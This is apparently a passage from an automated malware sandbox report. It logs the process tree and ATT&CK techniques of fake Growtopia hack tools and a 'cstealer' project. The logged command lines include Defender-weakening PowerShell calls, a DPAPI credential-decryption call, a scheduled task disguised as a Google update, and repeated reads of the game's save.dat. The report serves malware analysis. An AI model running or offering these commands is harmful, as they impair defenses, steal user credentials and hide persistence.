  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true
  2⤵
  PID:5796
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  PID:4336

C:\Users\Admin\Downloads\Growdice\Growdice\JavaSetup8u401.exe
"C:\Users\Admin\Downloads\Growdice\Growdice\JavaSetup8u401.exe"
1⤵
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
PID:6172
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\Java.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\Java.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  PID:6372
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:6316
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:5528
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v EpicGamesLauncher /f"
    3⤵
    PID:6240
  - - C:\Windows\system32\reg.exe
      reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v EpicGamesLauncher /f
      4⤵
      PID:5392
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:6260
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:6208
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,57,127,181,52,40,252,34,72,131,44,63,89,128,239,70,113,0,0,0,0,2,0,0,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,11,255,216,153,250,77,82,111,126,95,98,94,219,115,174,189,160,139,237,110,251,196,56,179,203,228,197,181,15,120,67,20,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,30,133,100,191,15,223,21,248,203,88,227,180,113,230,106,207,51,98,112,135,217,240,250,205,108,213,119,246,2,158,201,93,48,0,0,0,178,101,198,205,60,104,197,46,221,160,198,102,133,127,127,90,15,146,64,171,161,165,85,208,32,230,17,132,195,114,136,96,252,86,8,99,164,60,179,237,198,141,203,205,95,178,246,118,64,0,0,0,48,174,109,113,48,104,148,66,11,129,145,197,20,137,225,112,70,116,236,62,53,35,210,159,99,40,19,59,102,209,13,191,44,242,249,158,237,154,21,93,58,208,230,170,117,133,63,219,175,75,182,195,205,244,44,132,173,14,239,143,205,34,169,63), $null, 'CurrentUser')"
    3⤵
    - An obfuscated cmd.exe command-line is typically used to evade detection.
    PID:6656
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:6828
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,57,127,181,52,40,252,34,72,131,44,63,89,128,239,70,113,0,0,0,0,2,0,0,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,11,255,216,153,250,77,82,111,126,95,98,94,219,115,174,189,160,139,237,110,251,196,56,179,203,228,197,181,15,120,67,20,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,30,133,100,191,15,223,21,248,203,88,227,180,113,230,106,207,51,98,112,135,217,240,250,205,108,213,119,246,2,158,201,93,48,0,0,0,178,101,198,205,60,104,197,46,221,160,198,102,133,127,127,90,15,146,64,171,161,165,85,208,32,230,17,132,195,114,136,96,252,86,8,99,164,60,179,237,198,141,203,205,95,178,246,118,64,0,0,0,48,174,109,113,48,104,148,66,11,129,145,197,20,137,225,112,70,116,236,62,53,35,210,159,99,40,19,59,102,209,13,191,44,242,249,158,237,154,21,93,58,208,230,170,117,133,63,219,175,75,182,195,205,244,44,132,173,14,239,143,205,34,169,63), $null, 'CurrentUser')
      4⤵
      PID:6036
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cscript //nologo 'C:\Users\Admin\AppData\Roaming\Java\CheckEpicGamesLauncher.vbs'"
    3⤵
    PID:7148
  - - C:\Windows\system32\cscript.exe
      cscript //nologo 'C:\Users\Admin\AppData\Roaming\Java\CheckEpicGamesLauncher.vbs'
      4⤵
      PID:2732
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "GoogleUpdateTaskMachineUAC" /tr "cscript //nologo 'C:\Users\Admin\AppData\Roaming\Java\CheckEpicGamesLauncher.vbs'" /sc minute /mo 10 /f"
    3⤵
    PID:6432
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "GoogleUpdateTaskMachineUAC" /tr "cscript //nologo 'C:\Users\Admin\AppData\Roaming\Java\CheckEpicGamesLauncher.vbs'" /sc minute /mo 10 /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:7112
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\Java.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\Java.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\Java" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1744 --field-trial-handle=1908,i,16859413148979734463,8601096582412589703,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:6956
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\Java.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\Java.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\Java" --mojo-platform-channel-handle=1396 --field-trial-handle=1908,i,16859413148979734463,8601096582412589703,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:5280
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\Java.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\Java.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.15063.0 --user-data-dir="C:\Users\Admin\AppData\Roaming\Java" --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1448 --field-trial-handle=1908,i,16859413148979734463,8601096582412589703,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:5544

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x440
1⤵
PID:4108

C:\Users\Admin\Downloads\GrowhaxV4.59\loader.exe
"C:\Users\Admin\Downloads\GrowhaxV4.59\loader.exe"
1⤵
- Suspicious use of SetWindowsHookEx
PID:4212

C:\Users\Admin\Downloads\GrowhaxV4.59\Inzector_protected.exe
"C:\Users\Admin\Downloads\GrowhaxV4.59\Inzector_protected.exe"
1⤵
PID:5332
- C:\Users\Admin\AppData\Local\Temp\dcd.exe
  "C:\Users\Admin\AppData\Local\Temp\dcd.exe" -path="C:\Users\Admin\AppData\Local\Growtopia\save.dat"
  2⤵
  - Executes dropped EXE
  PID:4776
- C:\Users\Admin\AppData\Local\Temp\dcd.exe
  "C:\Users\Admin\AppData\Local\Temp\dcd.exe" -path="C:\Users\Admin\AppData\Local\Growtopia\save.dat"
  2⤵
  - Executes dropped EXE
  PID:64
- C:\Users\Admin\AppData\Local\Temp\dcd.exe
  "C:\Users\Admin\AppData\Local\Temp\dcd.exe" -path="C:\Users\Admin\AppData\Local\Growtopia\save.dat"
  2⤵
  - Executes dropped EXE
  PID:2708
- C:\Users\Admin\AppData\Local\Temp\dcd.exe
  "C:\Users\Admin\AppData\Local\Temp\dcd.exe" -path="C:\Users\Admin\AppData\Local\Growtopia\save.dat"
  2⤵
  - Executes dropped EXE
  PID:3260
- C:\Users\Admin\AppData\Local\Temp\dcd.exe
  "C:\Users\Admin\AppData\Local\Temp\dcd.exe" -path="C:\Users\Admin\AppData\Local\Growtopia\save.dat"
  2⤵
  - Executes dropped EXE
  PID:748
- C:\Users\Admin\AppData\Local\Temp\dcd.exe
  "C:\Users\Admin\AppData\Local\Temp\dcd.exe" -path="C:\Users\Admin\AppData\Local\Growtopia\save.dat"
  2⤵
  - Executes dropped EXE
  PID:5532
- C:\Users\Admin\AppData\Local\Temp\dcd.exe
  "C:\Users\Admin\AppData\Local\Temp\dcd.exe" -path="C:\Users\Admin\AppData\Local\Growtopia\save.dat"
  2⤵
  - Executes dropped EXE
  PID:3816
- C:\Users\Admin\AppData\Local\Temp\dcd.exe
  "C:\Users\Admin\AppData\Local\Temp\dcd.exe" -path="C:\Users\Admin\AppData\Local\Growtopia\save.dat"
  2⤵
  - Executes dropped EXE
  PID:600
- C:\Users\Admin\AppData\Local\Temp\dcd.exe
  "C:\Users\Admin\AppData\Local\Temp\dcd.exe" -path="C:\Users\Admin\AppData\Local\Growtopia\save.dat"
  2⤵
  - Executes dropped EXE
  PID:748
- C:\Users\Admin\AppData\Local\Temp\dcd.exe
  "C:\Users\Admin\AppData\Local\Temp\dcd.exe" -path="C:\Users\Admin\AppData\Local\Growtopia\save.dat"
  2⤵
  - Executes dropped EXE
  PID:996
- C:\Users\Admin\AppData\Local\Temp\dcd.exe
  "C:\Users\Admin\AppData\Local\Temp\dcd.exe" -path="C:\Users\Admin\AppData\Local\Growtopia\save.dat"
  2⤵
  - Executes dropped EXE
  PID:4412
- C:\Users\Admin\AppData\Local\Temp\dcd.exe
  "C:\Users\Admin\AppData\Local\Temp\dcd.exe" -path="C:\Users\Admin\AppData\Local\Growtopia\save.dat"
  2⤵
  - Executes dropped EXE
  PID:5444
- C:\Users\Admin\AppData\Local\Temp\dcd.exe
  "C:\Users\Admin\AppData\Local\Temp\dcd.exe" -path="C:\Users\Admin\AppData\Local\Growtopia\save.dat"
  2⤵
  - Executes dropped EXE
  PID:6048

C:\Users\Admin\Downloads\GrowhaxV4.59\loader.exe
"C:\Users\Admin\Downloads\GrowhaxV4.59\loader.exe"
1⤵
- Suspicious use of SetWindowsHookEx
PID:5420

C:\Users\Admin\Downloads\GrowhaxV4.59\loader.exe
"C:\Users\Admin\Downloads\GrowhaxV4.59\loader.exe" C:\Users\Admin\Downloads\GrowhaxV4.59\Growpai.dll
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetWindowsHookEx
PID:5140
- C:\Users\Admin\AppData\Local\Growtopia\Growtopia.exe
  "C:\Users\Admin\AppData\Local\Growtopia\Growtopia.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Loads dropped DLL
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  PID:3928

C:\Windows\System32\GameBarPresenceWriter.exe
"C:\Windows\System32\GameBarPresenceWriter.exe" -ServerName:Windows.Gaming.GameBar.Internal.PresenceWriterServer
1⤵
PID:5496

C:\Windows\System32\GamePanel.exe
"C:\Windows\System32\GamePanel.exe" 0000000000080318 /startuptips
1⤵
PID:2740

C:\Windows\System32\bcastdvr.exe
"C:\Windows\System32\bcastdvr.exe" -ServerName:Windows.Media.Capture.Internal.BroadcastDVRServer
1⤵
- Drops desktop.ini file(s)
- Checks processor information in registry
PID:7072

C:\Windows\System32\GamePanel.exe
"C:\Windows\System32\GamePanel.exe" 00000000000502FC /startuptips
1⤵
PID:672

C:\Windows\System32\GamePanel.exe
"C:\Windows\System32\GamePanel.exe" 0000000000100052 /startuptips
1⤵
- Checks SCSI registry key(s)
PID:6484

C:\Users\Admin\Downloads\GrowhaxV4.59\loader.exe
"C:\Users\Admin\Downloads\GrowhaxV4.59\loader.exe" C:\Users\Admin\Downloads\GrowhaxV4.59\Growpai.dll
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetWindowsHookEx
PID:5180
- C:\Users\Admin\AppData\Local\Growtopia\Growtopia.exe
  "C:\Users\Admin\AppData\Local\Growtopia\Growtopia.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Loads dropped DLL
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  PID:5560

C:\Windows\System32\GameBarPresenceWriter.exe
"C:\Windows\System32\GameBarPresenceWriter.exe" -ServerName:Windows.Gaming.GameBar.Internal.PresenceWriterServer
1⤵
PID:6704

C:\Windows\System32\GamePanel.exe
"C:\Windows\System32\GamePanel.exe" 000000000011029C /startuptips
1⤵
- Checks SCSI registry key(s)
PID:2792

C:\Windows\System32\GamePanel.exe
"C:\Windows\System32\GamePanel.exe" 00000000000203F2 /startuptips
1⤵
- Checks SCSI registry key(s)
PID:1992

\??\c:\windows\system32\cscript.EXE
c:\windows\system32\cscript.EXE //nologo "C:\Users\Admin\AppData\Roaming\Java\CheckEpicGamesLauncher.vbs"
1⤵
- Adds Run key to start application
PID:6288

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\cstealer-main\install.bat" "
1⤵
PID:5336

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Drops file in Windows directory
- Modifies registry class
PID:6092
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 6FF3B4E01AE0E05146008594001AE84F
  2⤵
  - Loads dropped DLL
  PID:5404
- - C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe
    "C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe" -E -s -m ensurepip -U --default-pip
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:4352
  - - C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe
      C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe -W ignore::DeprecationWarning -c " import runpy import sys sys.path = ['C:\\Users\\Admin\\AppData\\Local\\Temp\\tmph203__vw\\pip-24.0-py3-none-any.whl'] + sys.path sys.argv[1:] = ['install', '--no-cache-dir', '--no-index', '--find-links', 'C:\\Users\\Admin\\AppData\\Local\\Temp\\tmph203__vw', '--upgrade', 'pip'] runpy.run_module(\"pip\", run_name=\"__main__\", alter_sys=True) "
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4376

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\cstealer-main\install.bat" "
1⤵
PID:7940

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\cstealer-main\install.bat" "
1⤵
PID:6912

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe"
1⤵
PID:8092
- C:\Windows\system32\setx.exe
  setx PATH "C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Users\Admin\AppData\Local\Programs\Python\Launcher\;C:\Users\Admin\AppData\Local\Microsoft\WindowsApps;;C:\Python37\Scripts"
  2⤵
  PID:7340

C:\Windows\System32\control.exe
"C:\Windows\System32\control.exe" "C:\Windows\system32\sysdm.cpl",
1⤵
PID:5624
- C:\Windows\system32\rundll32.exe
  "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Windows\system32\sysdm.cpl",
  2⤵
  - Checks computer location settings
  PID:5200
- - C:\Windows\System32\SystemPropertiesComputerName.exe
    "C:\Windows\System32\SystemPropertiesComputerName.exe"
    3⤵
    - Suspicious behavior: GetForegroundWindowSpam
    PID:6312

C:\Users\Admin\AppData\Local\Programs\Python\Launcher\py.exe
"C:\Users\Admin\AppData\Local\Programs\Python\Launcher\py.exe" "C:\Users\Admin\Desktop\cstealer-main\cstealer.py"
1⤵
- Executes dropped EXE
PID:7400
- C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe
  C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe "C:\Users\Admin\Desktop\cstealer-main\cstealer.py"
  2⤵
  - Executes dropped EXE
  PID:7548

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\cstealer-main\install.bat" "
1⤵
PID:7364

\??\c:\windows\system32\cscript.EXE
c:\windows\system32\cscript.EXE //nologo "C:\Users\Admin\AppData\Roaming\Java\CheckEpicGamesLauncher.vbs"
1⤵
- Adds Run key to start application
PID:7632

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe"
1⤵
PID:6044

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe"
1⤵
PID:6200

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\cstealer-main\requirements.txt
1⤵
PID:9124

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

System Information Discovery